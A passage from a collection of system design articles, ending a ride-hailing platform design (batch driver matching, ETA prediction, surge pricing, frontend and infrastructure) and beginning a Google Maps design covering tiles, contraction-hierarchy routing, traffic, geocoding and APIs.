  lat: number
  lng: number
  etaSeconds: number // To pickup
}

// Batch window: accumulate requests for 100-200ms
class MatchingBatcher {
  private pendingRequests: RideRequest[] = []
  private batchInterval = 150 // ms

  constructor() {
    setInterval(() => this.processBatch(), this.batchInterval)
  }

  addRequest(request: RideRequest) {
    this.pendingRequests.push(request)
  }

  private async processBatch() {
    if (this.pendingRequests.length === 0) return

    const requests = this.pendingRequests
    this.pendingRequests = []

    // 1. Find candidate drivers for all requests
    const candidatesMap = await this.findCandidatesForAll(requests)

    // 2. Build bipartite graph
    const graph = this.buildBipartiteGraph(requests, candidatesMap)

    // 3. Solve assignment (minimize total ETA)
    const assignments = this.solveAssignment(graph)

    // 4. Dispatch drivers
    for (const { rideId, driverId, eta } of assignments) {
      await this.dispatchDriver(rideId, driverId, eta)
    }
  }
}
```

#### Hungarian Algorithm for Assignment

The assignment problem is: given N riders and M drivers with a cost matrix (ETAs), find the assignment that minimizes total cost.

```typescript collapse={1-5, 40-50}
// Cost matrix: riders × drivers
// cost[i][j] = ETA for driver j to reach rider i's pickup
// Use Infinity for infeasible pairs (driver too far)

function solveAssignment(requests: RideRequest[], candidates: Map<string, DriverCandidate[]>): Assignment[] {
  const n = requests.length
  const allDrivers = new Set<string>()
  candidates.forEach((c) => c.forEach((d) => allDrivers.add(d.driverId)))
  const m = allDrivers.size
  const driverList = [...allDrivers]

  // Build cost matrix
  const cost: number[][] = Array(n)
    .fill(null)
    .map(() => Array(m).fill(Infinity))

  for (let i = 0; i < n; i++) {
    const rideCandidates = candidates.get(requests[i].rideId) ?? []
    for (const candidate of rideCandidates) {
      const j = driverList.indexOf(candidate.driverId)
      cost[i][j] = candidate.etaSeconds
    }
  }

  // Hungarian algorithm: O(n³)
  // For large scale, use auction algorithm or relaxation-based approximations
  const assignments = hungarianAlgorithm(cost)

  return assignments.map(([i, j]) => ({
    rideId: requests[i].rideId,
    driverId: driverList[j],
    eta: cost[i][j],
  }))
}
```

**Design Decision: Batch Size and Window**

- **Window too short (< 50ms)**: Not enough requests to optimize
- **Window too long (> 300ms)**: Noticeable user delay
- **Sweet spot: 100-200ms**: 10-50 concurrent requests in dense areas, imperceptible delay

**Improvement over greedy:** Uber reports 10-20% reduction in average wait times from batch optimization.

### ETA Prediction (DeepETA)

Uber's DeepETA uses a hybrid approach: physics-based routing for the baseline, ML for residual correction.

#### Architecture

```
                    ┌─────────────────┐
                    │  Road Network   │
                    │  Graph (OSM)    │
                    └────────┬────────┘
                             │
    Pickup/Destination ──────┼──────────────┐
                             │              │
                             ▼              ▼
                    ┌─────────────────┐ ┌─────────────────┐
                    │ Routing Engine  │ │  DeepETA Model  │
                    │ (Dijkstra/A*)   │ │ (Linear Transf) │
                    └────────┬────────┘ └────────┬────────┘
                             │                   │
                             ▼                   ▼
                    Physics-based ETA    ML Residual (R)
                          (Y)
                             │                   │
                             └───────┬───────────┘
                                     │
                                     ▼
                            Final ETA = Y + R
```

#### Feature Engineering

```typescript collapse={1-5, 30-40}
interface ETAFeatures {
  // Spatial features
  originH3: string
  destH3: string
  routeH3Cells: string[] // H3 cells along route

  // Temporal features
  hourOfDay: number // 0-23
  dayOfWeek: number // 0-6
  isHoliday: boolean
  minutesSinceMidnight: number

  // Traffic features
  currentTrafficIndex: number // 0-1 (free flow to gridlock)
  historicalTrafficIndex: number // Same time last week
  trafficTrend: number // Improving/worsening

  // Route features
  distanceMeters: number
  numIntersections: number
  numHighwaySegments: number
  routingEngineETA: number // Physics-based baseline

  // Weather (optional)
  precipitation: number
  visibility: number
}

// Model inference
async function predictETA(features: ETAFeatures): Promise<number> {
  // Call ML serving layer (Michelangelo)
  const residual = await mlClient.predict("deepeta", features)

  // Final ETA = routing engine + ML residual
  return features.routingEngineETA + residual
}
```

**Performance:**

- Median latency: 3.25ms
- P95 latency: 4ms
- QPS: Hundreds of thousands/second at Uber

### Surge Pricing Engine

#### Supply/Demand Calculation

```typescript collapse={1-8, 40-50}
interface SurgeCell {
  h3Cell: string // Resolution 7 (larger area)
  demandCount: number // Ride requests in last 5 minutes
  supplyCount: number // Available drivers
  multiplier: number // Calculated surge
  updatedAt: number
}

// Calculate surge for each H3 cell
async function calculateSurge(cityId: string): Promise<Map<string, SurgeCell>> {
  const cells = new Map<string, SurgeCell>()

  // Get H3 cells for the city (resolution 7, ~5km² each)
  const cityCells = getCityH3Cells(cityId, 7)

  for (const h3Cell of cityCells) {
    // Count requests in this cell (last 5 minutes)
    const demandCount = (await redis.get(`demand:${h3Cell}:5min`)) || 0

    // Count available drivers in this cell
    const childCells = h3.cellToChildren(h3Cell, 9) // Expand to res 9
    let supplyCount = 0
    for (const child of childCells) {
      supplyCount += await redis.scard(`drivers:h3:${child}:available`)
    }

    // Calculate multiplier
    const ratio = supplyCount > 0 ? demandCount / supplyCount : 10
    const multiplier = calculateMultiplier(ratio)

    cells.set(h3Cell, {
      h3Cell,
      demandCount,
      supplyCount,
      multiplier,
      updatedAt: Date.now(),
    })
  }

  return cells
}

function calculateMultiplier(demandSupplyRatio: number): number {
  // Piecewise linear function
  // ratio < 0.5: no surge (1.0x)
  // ratio 0.5-1.0: linear 1.0x-1.5x
  // ratio 1.0-2.0: linear 1.5x-2.5x
  // ratio > 2.0: cap at 3.0x (regulatory/PR limits)

  if (demandSupplyRatio < 0.5) return 1.0
  if (demandSupplyRatio < 1.0) return 1.0 + (demandSupplyRatio - 0.5)
  if (demandSupplyRatio < 2.0) return 1.5 + (demandSupplyRatio - 1.0)
  return Math.min(3.0, 1.5 + demandSupplyRatio - 1.0)
}
```

#### Temporal Smoothing

Raw surge calculations can be noisy (5-minute windows have high variance). Apply smoothing:

```typescript collapse={1-5}
// Exponential moving average to prevent jarring jumps
function smoothSurge(
  currentMultiplier: number,
  previousMultiplier: number,
  alpha: number = 0.3, // Smoothing factor
): number {
  // New surge = α × current + (1-α) × previous
  const smoothed = alpha * currentMultiplier + (1 - alpha) * previousMultiplier

  // Also limit change rate (max ±0.3 per update)
  const maxDelta = 0.3
  const delta = smoothed - previousMultiplier
  if (Math.abs(delta) > maxDelta) {
    return previousMultiplier + Math.sign(delta) * maxDelta
  }

  return smoothed
}
```

**Design Decision: Surge Resolution**

- **Spatial**: Resolution 7 (~5km²) for surge, resolution 9 (~100m) for driver indexing
- **Temporal**: Recalculate every 5-10 minutes, smooth changes
- **Why larger cells for surge**: Surge should be stable across a neighborhood; overly granular surge creates confusion ("why is it 2x here but 1.2x across the street?")

## Frontend Considerations

### Map Rendering Performance

**Problem:** Displaying 20+ driver pins updating every 4-5 seconds causes jank on mobile devices.

**Solution: Batch Updates + Canvas Rendering**

```typescript collapse={1-10, 35-45}
// Instead of updating each marker individually,
// batch updates and render to canvas overlay

class DriverMapLayer {
  private canvas: HTMLCanvasElement
  private drivers: Map<string, DriverPosition> = new Map()
  private pendingUpdates: DriverPosition[] = []
  private rafId: number | null = null

  // Buffer updates, render on next animation frame
  updateDriver(position: DriverPosition) {
    this.pendingUpdates.push(position)

    if (!this.rafId) {
      this.rafId = requestAnimationFrame(() => this.render())
    }
  }

  private render() {
    // Apply all pending updates
    for (const update of this.pendingUpdates) {
      this.drivers.set(update.driverId, update)
    }
    this.pendingUpdates = []
    this.rafId = null

    // Clear and redraw all drivers
    const ctx = this.canvas.getContext("2d")!
    ctx.clearRect(0, 0, this.canvas.width, this.canvas.height)

    for (const driver of this.drivers.values()) {
      this.drawDriver(ctx, driver)
    }
  }

  private drawDriver(ctx: CanvasRenderingContext2D, driver: DriverPosition) {
    const [x, y] = this.latLngToPixel(driver.lat, driver.lng)
    // Draw car icon rotated to heading
    ctx.save()
    ctx.translate(x, y)
    ctx.rotate((driver.heading * Math.PI) / 180)
    ctx.drawImage(this.carIcon, -12, -12, 24, 24)
    ctx.restore()
  }
}
```

### Real-Time Trip Tracking State

```typescript collapse={1-5, 35-45}
// State machine for ride lifecycle
type RideStatus =
  | "IDLE"
  | "REQUESTING"
  | "MATCHING"
  | "DRIVER_ASSIGNED"
  | "DRIVER_ARRIVING"
  | "DRIVER_ARRIVED"
  | "IN_PROGRESS"
  | "COMPLETED"
  | "CANCELLED"

interface RideState {
  status: RideStatus
  ride: Ride | null
  driver: Driver | null
  driverLocation: LatLng | null
  etaSeconds: number | null
  route: LatLng[] | null
}

// WebSocket message handler
function handleRideUpdate(state: RideState, message: WSMessage): RideState {
  switch (message.type) {
    case "DRIVER_ASSIGNED":
      return {
        ...state,
        status: "DRIVER_ASSIGNED",
        driver: message.driver,
        etaSeconds: message.eta,
      }

    case "DRIVER_LOCATION":
      return {
        ...state,
        driverLocation: message.location,
        etaSeconds: message.eta,
        status: message.eta < 60 ? "DRIVER_ARRIVED" : state.status,
      }

    case "TRIP_STARTED":
      return {
        ...state,
        status: "IN_PROGRESS",
        route: message.route,
      }

    case "TRIP_COMPLETED":
      return {
        ...state,
        status: "COMPLETED",
        ride: { ...state.ride!, fare: message.fare },
      }

    default:
      return state
  }
}
```

### Offline Handling

**Problem:** Riders in areas with poor connectivity may lose connection mid-request.

**Solution: Optimistic UI + Request Queue**

```typescript collapse={1-5, 30-40}
// Queue ride request locally if offline
class RideRequestQueue {
  private queue: RideRequest[] = []

  async requestRide(request: RideRequest): Promise<void> {
    if (!navigator.onLine) {
      // Store locally
      this.queue.push(request)
      localStorage.setItem("pendingRides", JSON.stringify(this.queue))
      throw new OfflineError("Ride queued, will submit when online")
    }

    return this.submitRide(request)
  }

  // Called when connectivity restored
  async processQueue(): Promise<void> {
    const pending = [...this.queue]
    this.queue = []

    for (const request of pending) {
      try {
        await this.submitRide(request)
      } catch (e) {
        // Re-queue if still failing
        this.queue.push(request)
      }
    }

    localStorage.setItem("pendingRides", JSON.stringify(this.queue))
  }
}

// Listen for online event
window.addEventListener("online", () => {
  rideQueue.processQueue()
})
```

## Infrastructure Design

### Cloud-Agnostic Concepts

| Component             | Requirement              | Options                            |
| --------------------- | ------------------------ | ---------------------------------- |
| **Message Queue**     | 1M+ msg/sec, ordering    | Kafka, Pulsar, RedPanda            |
| **Real-time Cache**   | Sub-ms geo queries       | Redis Cluster, KeyDB               |
| **Time-series DB**    | Location history         | Cassandra, ScyllaDB, TimescaleDB   |
| **Stream Processing** | Real-time aggregations   | Flink, Kafka Streams, Samza        |
| **ML Serving**        | Low-latency inference    | TensorFlow Serving, Triton, custom |
| **Object Storage**    | Trip receipts, ML models | S3-compatible (MinIO)              |

### AWS Reference Architecture

![Diagram](./diagram-3.svg)

| Component         | AWS Service           | Configuration                           |
| ----------------- | --------------------- | --------------------------------------- |
| API Services      | EKS (Kubernetes)      | 50-500 pods, HPA on CPU/requests        |
| WebSocket Gateway | ECS Fargate           | 100-1000 tasks, sticky sessions         |
| Location Cache    | ElastiCache Redis     | r6g.xlarge cluster mode, 6 shards       |
| Event Streaming   | MSK (Kafka)           | 150 nodes, 3 AZs, tiered storage        |
| Driver State      | Keyspaces (Cassandra) | On-demand capacity                      |
| Payments DB       | Aurora PostgreSQL     | db.r6g.2xlarge, Multi-AZ, read replicas |
| ML Inference      | SageMaker             | ml.c5.4xlarge, auto-scaling             |
| Object Storage    | S3 + CloudFront       | Trip receipts, ML models                |

### Multi-Region Active-Active

Uber operates globally with active-active deployments. Key considerations:

1. **Kafka cross-region replication**: uReplicator (Uber's open-source tool) for zero-data-loss replication
2. **Cassandra multi-DC**: LOCAL_QUORUM writes, LOCAL_ONE reads for low latency
3. **Redis geo-replication**: Active-passive per region (location data is region-specific)
4. **DNS-based routing**: Route users to nearest region based on latency

### Self-Hosted Alternatives

| Managed Service | Self-Hosted        | When to Self-Host                   |
| --------------- | ------------------ | ----------------------------------- |
| MSK             | Apache Kafka       | Cost at scale (Uber runs own Kafka) |
| Keyspaces       | Apache Cassandra   | Specific tuning, cost               |
| ElastiCache     | Redis on EC2       | Redis modules, cost                 |
| SageMaker       | TensorFlow Serving | Custom models, latency requirements |

## Conclusion

This design prioritizes **batch-optimized matching** with H3 spatial indexing over simpler greedy approaches. The 10-20% improvement in average wait times justifies the added complexity for a system where every second of reduced wait time translates to user satisfaction and driver utilization.

Key architectural decisions:

1. **H3 hexagonal indexing over geohash**: Uniform neighbor distances eliminate edge artifacts in proximity queries and surge calculations. Uber open-sourced H3 for this reason.

2. **Batch optimization over greedy matching**: Accumulating requests for 100-200ms and solving the global assignment problem outperforms per-request nearest-driver matching significantly.

3. **Hybrid ETA (physics + ML)**: The routing engine provides a solid baseline; ML models learn residual corrections for traffic patterns, events, and local conditions.

4. **Schemaless for trips, Cassandra for driver state**: Append-only storage with flexible schema handles the write-heavy, evolving trip data model; Cassandra's tunable consistency fits the driver location workload.

5. **Spatially-granular, temporally-smooth surge**: Resolution 7 H3 cells (~5km²) provide stable neighborhood-level pricing; temporal smoothing prevents jarring multiplier changes.

**Limitations and future improvements:**

- **UberPool matching**: Shared rides require solving a more complex routing problem with pickup/dropoff ordering constraints.
- **Predictive dispatch**: Pre-positioning drivers based on predicted demand could further reduce wait times.
- **Dynamic pricing experimentation**: ML models could optimize multipliers for market equilibrium rather than simple supply/demand ratios.

## Appendix

### Prerequisites

- Distributed systems fundamentals (CAP theorem, eventual consistency)
- Database concepts (sharding, replication, time-series data)
- Graph algorithms (Dijkstra, bipartite matching basics)
- Basic understanding of ML inference serving

### Terminology

- **H3**: Hexagonal Hierarchical Spatial Index—Uber's open-source geospatial indexing system using hexagonal cells at 16 resolution levels
- **DISCO**: Dispatch Optimization—Uber's matching service that assigns riders to drivers
- **Schemaless**: Uber's MySQL-based append-only data store with flexible schema
- **k-ring**: In H3, the set of all cells within k "hops" of a center cell
- **ETA**: Estimated Time of Arrival—predicted time for driver to reach pickup or destination
- **Surge**: Dynamic pricing multiplier applied when demand exceeds supply
- **Bipartite matching**: Assignment problem where two disjoint sets (riders, drivers) are matched to minimize total cost

### Summary

- **H3 spatial indexing** provides uniform neighbor distances, enabling accurate proximity queries and smooth surge pricing gradients
- **Batch-optimized matching** (100-200ms windows) achieves 10-20% better wait times than greedy nearest-driver assignment
- **Hybrid ETA prediction** combines physics-based routing with ML residual correction for ±2 minute accuracy
- **Real-time location tracking** at 2M+ updates/second uses Redis with H3-indexed sorted sets and 30-second TTLs
- **Surge pricing** operates at H3 resolution 7 (~5km²) with temporal smoothing to prevent jarring changes
- **Schemaless (MySQL) + Cassandra** handles the write-heavy workload with append-only trip records and high-throughput driver state

### References

- [H3: Uber's Hexagonal Hierarchical Spatial Index](https://www.uber.com/blog/h3/) - Official Uber blog on H3 design rationale
- [H3 Documentation](https://h3geo.org/) - API reference and resolution tables
- [H3 GitHub](https://github.com/uber/h3) - Open-source implementation
- [Schemaless: Uber's Trip Datastore](https://www.uber.com/blog/schemaless-part-two-architecture/) - Append-only MySQL architecture
- [DeepETA: How Uber Predicts Arrival Times](https://www.uber.com/blog/deepeta-how-uber-predicts-arrival-times/) - ML-based ETA prediction
- [Michelangelo: Uber's ML Platform](https://www.uber.com/blog/michelangelo-machine-learning-platform/) - ML serving infrastructure
- [Cassandra Operations at Scale](https://www.uber.com/blog/how-uber-optimized-cassandra-operations-at-scale/) - Driver state storage
- [CacheFront: Serving 150M Reads/Second](https://www.uber.com/blog/how-uber-serves-over-150-million-reads/) - Redis caching architecture
- [Chaperone: Auditing Kafka Messages](https://www.uber.com/blog/chaperone-audit-kafka-messages/) - Trillion messages/day at scale
- [uReplicator: Kafka Cross-DC Replication](https://github.com/uber/uReplicator) - Zero-data-loss replication
- [Driver Surge Pricing Research](https://www.uber.com/blog/research/driver-surge-pricing/) - Economic analysis of surge mechanisms

---

## Design Google Maps

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/system-design-problems/design-google-maps
**Category:** System Design / System Design Problems
**Description:** A system design for a mapping and navigation platform handling tile-based rendering, real-time routing with traffic awareness, geocoding, and offline maps. This design addresses continental-scale road networks (18M+ nodes), sub-second routing queries, and 97%+ ETA accuracy.

# Design Google Maps

A system design for a mapping and navigation platform handling tile-based rendering, real-time routing with traffic awareness, geocoding, and offline maps. This design addresses continental-scale road networks (18M+ nodes), sub-second routing queries, and 97%+ ETA accuracy.

<figure>

![High-level architecture: CDN-cached tiles, specialized services for routing/geocoding/traffic, and multi-source data ingestion.](./high-level-architecture-cdn-cached-tiles-specialized-services-for-routing-geocod.svg)

<figcaption>High-level architecture: CDN-cached tiles, specialized services for routing/geocoding/traffic, and multi-source data ingestion.</figcaption>
</figure>

## Abstract

Google Maps solves three distinct problems that require different architectural approaches:

1. **Map Rendering**: Quadtree-based tile pyramid with vector tiles—zoom level 0 is 1 tile, zoom 18 is 69 billion tiles. CDN caching is essential; cache hit rates exceed 95% for popular areas.

2. **Routing**: Dijkstra alone takes 4.8 seconds for European road networks (18M nodes). Contraction Hierarchies (CH) preprocessing reduces query time to 163 microseconds—a 30,000x speedup. Traffic-aware routing overlays real-time edge weights on the precomputed hierarchy.

3. **ETA Prediction**: Graph Neural Networks model "supersegments" (road sections with shared traffic patterns) to achieve 97%+ accuracy, with up to 50% improvement over baseline in congested cities.

The core tradeoff: **preprocessing time vs. query latency**. CH requires 5+ minutes to precompute but enables sub-millisecond queries. For traffic updates, a hybrid approach applies real-time weights to the static hierarchy rather than recomputing.

## Requirements

### Functional Requirements

| Feature                                   | Priority | In Scope      |
| ----------------------------------------- | -------- | ------------- |
| Map tile rendering                        | Core     | Yes           |
| Turn-by-turn routing                      | Core     | Yes           |
| Real-time traffic                         | Core     | Yes           |
| ETA prediction                            | Core     | Yes           |
| Geocoding (address → coordinates)         | Core     | Yes           |
| Reverse geocoding (coordinates → address) | Core     | Yes           |
| POI search                                | High     | Yes           |
| Place autocomplete                        | High     | Yes           |
| Offline maps                              | High     | Yes           |
| Street View                               | Medium   | Brief mention |
| Transit routing                           | Medium   | Out of scope  |
| Indoor maps                               | Low      | Out of scope  |

### Non-Functional Requirements

| Requirement              | Target                 | Rationale                                   |
| ------------------------ | ---------------------- | ------------------------------------------- |
| Availability             | 99.99%                 | User-facing, safety-critical for navigation |
| Tile latency             | p99 < 100ms            | Map rendering responsiveness                |
| Routing latency          | p99 < 500ms            | User expectation for route calculation      |
| ETA accuracy             | 97%+ trips within ±10% | User trust in arrival predictions           |
| Offline storage          | < 2GB per region       | Mobile device constraints                   |
| Traffic update frequency | < 2 minutes            | Real-time usefulness                        |

### Scale Estimation

**Users:**

- DAU: 1 billion (Google Maps actual scale)
- Peak concurrent: 100M (10% of DAU)

**Tile Traffic:**

- Average session: 50 tile requests (zoom/pan interactions)
- Daily tile requests: 1B × 50 = 50B requests/day
- Peak RPS: 50B / 86400 × 3 (peak multiplier) ≈ 1.7M RPS

**Routing Traffic:**

- Routes per DAU: 2 average
- Daily routing requests: 2B/day ≈ 23K RPS
- Peak: 70K RPS

**Storage:**

- Global road network: ~1 billion road segments
- CH index size: 50-100 bytes/node × 1B ≈ 50-100 TB
- Vector tiles (all zoom levels): ~50 PB
- Traffic data: 1B segments × 24 hours × 365 days × 4 bytes ≈ 35 TB/year

## Design Paths

### Path A: Preprocessing-Heavy (Contraction Hierarchies)

**Best when:**

- Road network changes infrequently (< daily)
- Query latency is critical (< 1ms routing)
- Traffic updates can be overlaid without full recomputation

**Architecture:**

- Precompute Contraction Hierarchies offline (5-10 minutes for continental networks)
- Store preprocessed graph in memory-mapped files
- Apply traffic as edge weight multipliers at query time

**Trade-offs:**

- ✅ Sub-millisecond query time (163 µs median)
- ✅ Predictable latency under load
- ❌ Preprocessing blocks road network updates
- ❌ Memory-intensive (21-68 bytes/node overhead)

**Real-world example:** OSRM, GraphHopper, Google Maps routing engine.

### Path B: Dynamic Routing (ALT Algorithm)

**Best when:**

- Road network changes frequently (construction, closures)
- Real-time edge weights are primary concern
- Preprocessing time must be minimal

**Architecture:**

- Precompute distances to landmark nodes only
- Use triangle inequality for search pruning
- Full dynamic edge weights without reprocessing

**Trade-offs:**

- ✅ Handles dynamic networks well
- ✅ Lighter preprocessing (seconds to minutes)
- ❌ 10-100x slower queries than CH
- ❌ Landmark selection impacts quality

### Path Comparison

| Factor          | Path A (CH)         | Path B (ALT)         |
| --------------- | ------------------- | -------------------- |
| Query time      | 163 µs              | 1-10 ms              |
| Preprocessing   | 5-10 minutes        | Seconds              |
| Dynamic updates | Overlay required    | Native support       |
| Memory overhead | High (21-68 B/node) | Moderate             |
| Best for        | Production routing  | Experimental/dynamic |

### This Article's Focus

This article focuses on **Path A (Contraction Hierarchies)** because production mapping services require sub-millisecond query times at scale. Traffic is handled via edge weight overlays rather than full recomputation.

## High-Level Design

### Tile Service

Serves pre-rendered or dynamically generated map tiles using a quadtree addressing scheme.

**Tile Addressing (Web Mercator):**

```
/{z}/{x}/{y}.{format}
```

- `z`: Zoom level (0-22)
- `x`: Column index (0 to 2^z - 1)
- `y`: Row index (0 to 2^z - 1)

**Zoom Level Properties:**

| Zoom | Tile Count    | Meters/Pixel (Equator) | Use Case       |
| ---- | ------------- | ---------------------- | -------------- |
| 0    | 1             | 156,543 m              | World view     |
| 10   | 1,048,576     | 152.87 m               | City-level     |
| 15   | ~1 billion    | 4.78 m                 | Street-level   |
| 18   | ~69 billion   | 0.60 m                 | Building-level |
| 20   | ~1.1 trillion | 0.15 m                 | Maximum detail |

**Vector Tiles vs. Raster Tiles:**

| Aspect  | Raster Tiles          | Vector Tiles              |
| ------- | --------------------- | ------------------------- |
| Format  | Pre-rendered PNG/JPEG | Protobuf-encoded geometry |
| Size    | 100-300 KB            | 20-50 KB compressed       |
| Styling | Fixed at render time  | Client-side, dynamic      |
| Scaling | Pixelates             | Infinite (vector math)    |
| Updates | Full tile replacement | Delta updates possible    |

Vector tiles (Mapbox Vector Tile specification) encode features as Protocol Buffers with a default extent of 4096 coordinate units per tile. This enables client-side rendering with custom styles and smooth zooming.

### Routing Service

Computes optimal paths using Contraction Hierarchies with traffic overlays.

<figure>

![Contraction Hierarchies: offline preprocessing creates shortcuts; online queries search "upward" in the hierarchy from both ends.](./contraction-hierarchies-offline-preprocessing-creates-shortcuts-online-queries-s.svg)

<figcaption>Contraction Hierarchies: offline preprocessing creates shortcuts; online queries search "upward" in the hierarchy from both ends.</figcaption>
</figure>

**How Contraction Hierarchies Work:**

1. **Node Ordering**: Rank nodes by importance (highways > arterials > local roads). Importance is computed using edge difference, contraction depth, and original edges.

2. **Contraction**: Iteratively remove least-important nodes. For each removed node, add "shortcut" edges between its neighbors if the shortest path went through it.

3. **Query**: Run bidirectional Dijkstra, but only traverse edges going "upward" in the hierarchy. The searches meet at the highest-importance node on the optimal path.

**Performance Benchmarks (North America, 87M vertices):**

| Metric                | Value                |
| --------------------- | -------------------- |
| Preprocessing time    | 307 seconds (~5 min) |
| Query time (median)   | 163 microseconds     |
| Speedup over Dijkstra | ~30,000x             |
| Storage overhead      | 21-68 bytes/node     |

**Traffic-Aware Routing:**

Real-time traffic is applied as edge weight multipliers without recomputing the hierarchy:

1. Collect probe data (GPS traces from devices)
2. Map-match probes to road segments
3. Compute segment speeds from probe timestamps
4. Store speed multipliers: `actual_speed / free_flow_speed`
5. At query time: `edge_weight = base_weight × traffic_multiplier`

This hybrid approach preserves sub-millisecond queries while incorporating live traffic.

### Traffic Service

Collects, processes, and serves real-time traffic data.

**Data Sources:**

| Source               | Quality  | Latency   | Coverage          |
| -------------------- | -------- | --------- | ----------------- |
| GPS probes (mobile)  | Medium   | Real-time | High (urban)      |
| Connected cars (OEM) | High     | Real-time | Growing           |
| Road sensors         | High     | Real-time | Limited           |
| User reports         | Variable | Real-time | Incident-specific |
| Historical patterns  | N/A      | N/A       | Baseline          |

**Floating Car Data (FCD) Pipeline:**

```
Probe → Map Matching → Segment Assignment → Speed Aggregation → Traffic State
```

1. **Probe ingestion**: Timestamped (lat, lon, speed) tuples
2. **Map matching**: Hidden Markov Model assigns probes to road segments
3. **Aggregation**: Window-based speed averaging (2-5 minute windows)
4. **Traffic state**: Free flow / Light / Moderate / Heavy / Standstill

**ETA Prediction with Graph Neural Networks:**

Google's DeepMind collaboration uses GNNs to predict travel times:

- **Supersegments**: Groups of adjacent road segments with shared traffic patterns
- **Graph structure**: Nodes = supersegments, edges = transitions
- **Features**: Historical speeds, time of day, day of week, weather
- **Output**: Predicted travel time distribution

Results:

- 97%+ trips with ETA within ±10%
- Up to 50% reduction in negative ETA outcomes (Sydney, Tokyo, Berlin)

### Geocoding Service

Converts between addresses and coordinates.

**Forward Geocoding Pipeline:**

```
Input: "1600 Amphitheatre Parkway, Mountain View, CA"
  ↓
Address Parsing (libpostal): {street: "1600 Amphitheatre Parkway", city: "Mountain View", state: "CA"}
  ↓
Normalization: Expand abbreviations, standardize format
  ↓
Candidate Generation: Query spatial index for matching addresses
  ↓
Scoring: Rank by text similarity, location confidence
  ↓
Output: {lat: 37.4220, lng: -122.0841, confidence: 0.98}
```

**Reverse Geocoding:**

Given (lat, lon), find the nearest address:

1. Query R-tree/S2 index for nearby address points
2. Interpolate street address from road segment data
3. Return formatted address with administrative hierarchy

**Spatial Indexing Options:**

| Index       | Structure                       | Use Case                         |
| ----------- | ------------------------------- | -------------------------------- |
| R-tree      | Bounding rectangles             | General spatial queries, PostGIS |
| Quadtree    | Recursive quadrants             | Tile-based lookups               |
| S2 Geometry | Spherical cells (Hilbert curve) | Global-scale, hierarchical       |

Google uses S2 Geometry for global coverage with hierarchical cell IDs that enable efficient prefix-based queries.

### Search Service (POI and Autocomplete)

**Place Autocomplete Data Structures:**

| Structure           | Lookup Time | Space  | Best For                |
| ------------------- | ----------- | ------ | ----------------------- |
| Trie                | O(m)        | High   | Exact prefix match      |
| Ternary Search Tree | O(m)        | Medium | Space-efficient prefix  |
| Pruning Radix Trie  | O(m)        | Low    | Production autocomplete |

Where m = query length.

**Ranking Signals:**

- Text relevance (edit distance, prefix match)
- Popularity (visit frequency)
- Recency (user's recent searches)
- Proximity (distance from user's location)
- Category match (restaurants, gas stations)

## API Design

### Tile API

**Endpoint:** `GET /tiles/{z}/{x}/{y}.{format}`

**Path Parameters:**

- `z`: Zoom level (0-22)
- `x`: Tile column
- `y`: Tile row
- `format`: `png`, `mvt` (vector), `pbf`

**Response Headers:**

```http
Content-Type: image/png | application/vnd.mapbox-vector-tile
Cache-Control: public, max-age=86400
ETag: "abc123"
```

**Response:** Binary tile data

**Caching Strategy:**

- CDN cache: 24 hours for zoom < 15, 1 hour for zoom ≥ 15
- Client cache: ETag-based conditional requests
- Cache hit rate target: > 95%

### Routing API

**Endpoint:** `POST /routes`

**Request:**

```json
{
  "origin": { "lat": 37.422, "lng": -122.0841 },
  "destination": { "lat": 37.7749, "lng": -122.4194 },
  "waypoints": [{ "lat": 37.5585, "lng": -122.2711 }],
  "mode": "driving",
  "departure_time": "2024-01-15T08:00:00Z",
  "alternatives": true,
  "traffic_model": "best_guess"
}
```

**Response:**

```json
{
  "routes": [
    {
      "legs": [
        {
          "distance": {"value": 45000, "text": "45 km"},
          "duration": {"value": 2700, "text": "45 min"},
          "duration_in_traffic": {"value": 3300, "text": "55 min"},
          "steps": [
            {
              "instruction": "Head north on Amphitheatre Pkwy",
              "distance": {"value": 500, "text": "500 m"},
              "duration": {"value": 60, "text": "1 min"},
              "polyline": "encoded_polyline_string",
              "maneuver": "turn-right"
            }
          ]
        }
      ],
      "overview_polyline": "encoded_polyline_string",
      "bounds": {"northeast": {...}, "southwest": {...}},
      "warnings": ["Route includes toll roads"]
    }
  ]
}
```

**Error Responses:**

- `400 Bad Request`: Invalid coordinates, missing required fields
- `404 Not Found`: No route found (disconnected points)
- `429 Too Many Requests`: Rate limit exceeded

**Rate Limits:** 1000 requests/minute per API key

### Geocoding API

**Forward Geocoding:**

`GET /geocode?address={address}&bounds={sw_lat,sw_lng,ne_lat,ne_lng}`

**Response:**

```json
{
  "results": [
    {
      "formatted_address": "1600 Amphitheatre Parkway, Mountain View, CA 94043",
      "geometry": {
        "location": {"lat": 37.4220, "lng": -122.0841},
        "location_type": "ROOFTOP",
        "viewport": {...}
      },
      "address_components": [
        {"long_name": "1600", "types": ["street_number"]},
        {"long_name": "Amphitheatre Parkway", "types": ["route"]}
      ],
      "place_id": "ChIJ..."
    }
  ]
}
```

**Reverse Geocoding:**

`GET /geocode?latlng={lat},{lng}`

### Place Autocomplete API

**Endpoint:** `GET /places/autocomplete?input={query}&location={lat},{lng}&radius={meters}`

**Response:**

```json
{
  "predictions": [
    {
      "description": "Googleplex, Mountain View, CA",
      "place_id": "ChIJ...",
      "structured_formatting": {
        "main_text": "Googleplex",
        "secondary_text": "Mountain View, CA"
      },
      "distance_meters": 1200
    }
  ]
}
```

**Debouncing:** Client should debounce requests (300ms) to reduce API calls during typing.

## Data Modeling

### Road Graph Schema

**Primary Store:** Custom binary format for in-memory graph processing

```
Node:
  - id: uint64
  - lat: float32
  - lon: float32
  - ch_level: uint16  // Contraction hierarchy level

Edge:
  - source: uint64
  - target: uint64
  - distance: uint32  // meters
  - duration: uint32  // seconds (free flow)
  - road_class: uint8 // motorway, primary, secondary, etc.
  - is_shortcut: bool
  - shortcut_middle: uint64  // For path unpacking
```

**Storage:**

- Memory-mapped file for O(1) access
- Compressed with LZ4 for disk storage
- Sharded by geographic region (continent-level)

### Tile Metadata Schema

**Primary Store:** Object storage (S3-compatible) with key-value index

```
Key: {layer}/{z}/{x}/{y}
Value: {
  tile_data: bytes,
  etag: string,
  generated_at: timestamp,
  source_version: string
}
```

**Tile Generation Pipeline:**

1. Raw map data (OpenStreetMap format)
2. Feature extraction and simplification per zoom level
3. Vector tile encoding (Mapbox Vector Tile spec)
4. Compression (gzip)
5. Upload to object storage

### Traffic Data Schema

**Primary Store:** Time-series database (InfluxDB, TimescaleDB, or custom)

```sql
CREATE TABLE traffic_observations (
  segment_id BIGINT NOT NULL,
